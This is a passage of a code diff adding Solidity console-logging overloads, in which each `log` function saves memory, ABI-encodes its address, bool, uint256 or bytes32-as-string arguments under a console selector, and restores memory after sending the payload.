+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,string,uint256)`.
+            mstore(0x00, 0xbf01f891)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,uint256,string,string)`.
+            mstore(0x00, 0x88a8c406)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,address,address)`.
+            mstore(0x00, 0x0d36fa20)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,address,bool)`.
+            mstore(0x00, 0x0df12b76)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,address,uint256)`.
+            mstore(0x00, 0x457fe3cf)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,address,string)`.
+            mstore(0x00, 0xf7e36245)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,bool,address)`.
+            mstore(0x00, 0x205871c2)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,bool,bool)`.
+            mstore(0x00, 0x5f1d5c9f)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,bool,uint256)`.
+            mstore(0x00, 0x515e38b6)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,bool,string)`.
+            mstore(0x00, 0xbc0b61fe)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,uint256,address)`.
+            mstore(0x00, 0x63183678)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,uint256,bool)`.
+            mstore(0x00, 0x0ef7e050)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,string,uint256,uint256)`.
+            mstore(0x00, 0x1dc8e1b8)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,uint256,string)`.
+            mstore(0x00, 0x448830a8)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,string,address)`.
+            mstore(0x00, 0xa04e2f87)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,string,bool)`.
+            mstore(0x00, 0x35a5071f)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,string,string,uint256)`.
+            mstore(0x00, 0x159f8927)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(address,string,string,string)`.
+            mstore(0x00, 0x5d02c50b)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bool p0, address p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,address,address)`.
+            mstore(0x00, 0x1d14d001)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,address,bool)`.
+            mstore(0x00, 0x46600be0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,address,uint256)`.
+            mstore(0x00, 0x0c66d1be)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,address,string)`.
+            mstore(0x00, 0xd812a167)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,bool,address)`.
+            mstore(0x00, 0x1c41a336)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,bool,bool)`.
+            mstore(0x00, 0x6a9c478b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
